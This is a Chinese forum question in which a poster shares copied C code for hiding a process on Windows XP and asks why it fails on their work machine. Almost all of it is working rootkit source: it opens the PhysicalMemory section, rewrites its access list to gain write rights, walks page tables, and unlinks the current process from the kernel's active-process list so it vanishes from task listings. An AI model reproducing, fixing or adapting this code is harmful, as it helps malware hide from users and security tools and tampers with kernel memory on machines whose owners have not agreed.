xp进程隐藏问题

Question

我在网上copy的代码,同样的代码在家里的机器上好用,在公司的机器里就隐藏不了,谁知道为什么啊,感激不尽!原码:
#include<windows.h> 
#include<Accctrl.h> 
#include<Aclapi.h> #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L) typedef LONG NTSTATUS; 
typedef struct _IO_STATUS_BLOCK 
{ 
NTSTATUS Status; 
ULONG Information; 
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef struct _UNICODE_STRING 
{ 
USHORT Length; 
USHORT MaximumLength; 
PWSTR Buffer; 
} UNICODE_STRING, *PUNICODE_STRING; #define OBJ_INHERIT 0x00000002L 
#define OBJ_PERMANENT 0x00000010L 
#define OBJ_EXCLUSIVE 0x00000020L 
#define OBJ_CASE_INSENSITIVE 0x00000040L 
#define OBJ_OPENIF 0x00000080L 
#define OBJ_OPENLINK 0x00000100L 
#define OBJ_KERNEL_HANDLE 0x00000200L 
#define OBJ_VALID_ATTRIBUTES 0x000003F2L typedef struct _OBJECT_ATTRIBUTES 
{ 
ULONG Length; 
HANDLE RootDirectory; 
PUNICODE_STRING ObjectName; 
ULONG Attributes; 
PVOID SecurityDescriptor; 
PVOID SecurityQualityOfService; 
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef NTSTATUS (CALLBACK* ZWOPENSECTION)( 
OUT PHANDLE SectionHandle, 
IN ACCESS_MASK DesiredAccess, 
IN POBJECT_ATTRIBUTES ObjectAttributes 
); typedef VOID (CALLBACK* RTLINITUNICODESTRING)( 
IN OUT PUNICODE_STRING DestinationString, 
IN PCWSTR SourceString 
); RTLINITUNICODESTRING RtlInitUnicodeString; 
ZWOPENSECTION ZwOpenSection; 
HMODULE g_hNtDLL = NULL; 
PVOID g_pMapPhysicalMemory = NULL; 
HANDLE g_hMPM = NULL; BOOL InitNTDLL() 
{ 
g_hNtDLL = LoadLibrary( "ntdll.dll" ); 
if ( !g_hNtDLL ) 
{ 
return FALSE; 
} RtlInitUnicodeString = 
(RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString"); ZwOpenSection = 
(ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection"); return TRUE; 
} VOID CloseNTDLL() 
{ 
if(g_hNtDLL != NULL) 
{ 
FreeLibrary(g_hNtDLL); 
} 
} VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) 
{ PACL pDacl=NULL; 
PACL pNewDacl=NULL; 
PSECURITY_DESCRIPTOR pSD=NULL; 
DWORD dwRes; 
EXPLICIT_ACCESS ea; if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION, 
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS) 
{ 
goto CleanUp; 
} ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); 
ea.grfAccessPermissions = SECTION_MAP_WRITE; 
ea.grfAccessMode = GRANT_ACCESS; 
ea.grfInheritance= NO_INHERITANCE; 
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; 
ea.Trustee.TrusteeType = TRUSTEE_IS_USER; 
ea.Trustee.ptstrName = "CURRENT_USER"; 
if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS) 
{ 
goto CleanUp; 
} if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS) 
{ 
goto CleanUp; 
} CleanUp: if(pSD) 
LocalFree(pSD); 
if(pNewDacl) 
LocalFree(pNewDacl); 
} HANDLE OpenPhysicalMemory() 
{ 
NTSTATUS status; 
UNICODE_STRING physmemString; 
OBJECT_ATTRIBUTES attributes; RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" ); attributes.Length = sizeof(OBJECT_ATTRIBUTES); 
attributes.RootDirectory = NULL; 
attributes.ObjectName = &physmemString; 
attributes.Attributes = 0; 
attributes.SecurityDescriptor = NULL; 
attributes.SecurityQualityOfService = NULL; status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes); if(status == STATUS_ACCESS_DENIED){ 
status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes); 
SetPhyscialMemorySectionCanBeWrited(g_hMPM); 
CloseHandle(g_hMPM); 
status =ZwOpenSection(&g_hMPM,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&attributes); 
} if( !NT_SUCCESS( status )) 
{ 
return NULL; 
} g_pMapPhysicalMemory = MapViewOfFile( 
g_hMPM, 
4, 
0, 
0x30000, 
0x1000); 
if( g_pMapPhysicalMemory == NULL ) 
{ 
return NULL; 
} return g_hMPM; 
} PVOID LinearToPhys(PULONG BaseAddress,PVOID addr) 
{ 
ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr; 
PGDE=BaseAddress[VAddr>>22]; 
if ((PGDE&1)!=0) 
{ 
ULONG tmp=PGDE&0x00000080; 
if (tmp!=0) 
{ 
PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF); 
} 
else 
{ 
PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000); 
PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12]; 
if ((PTE&1)!=0) 
{ 
PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF); 
UnmapViewOfFile((PVOID)PGDE); 
} 
else return 0; 
} 
} 
else return 0; return (PVOID)PAddr; 
} ULONG GetData(PVOID addr) 
{ 
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); 
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000); 
if (tmp==0) 
return 0; 
ULONG ret=tmp[(phys & 0xFFF)>>2]; 
UnmapViewOfFile(tmp); 
return ret; 
} BOOL SetData(PVOID addr,ULONG data) 
{ 
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); 
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000); 
if (tmp==0) 
return FALSE; 
tmp[(phys & 0xFFF)>>2]=data; 
UnmapViewOfFile(tmp); 
return TRUE; 
} BOOL HideProcessAtAll() 
{ 
if (InitNTDLL()) 
{ 
if (OpenPhysicalMemory()==0) 
{ 
return FALSE; 
} 
ULONG thread=GetData((PVOID)0xFFDFF124); 
ULONG process=GetData(PVOID(thread+0x22c)); 
ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4)); 
SetData(PVOID(fw+4),bw); 
SetData(PVOID(bw),fw); 
CloseHandle(g_hMPM); 
CloseNTDLL(); 
} 
return TRUE; 
}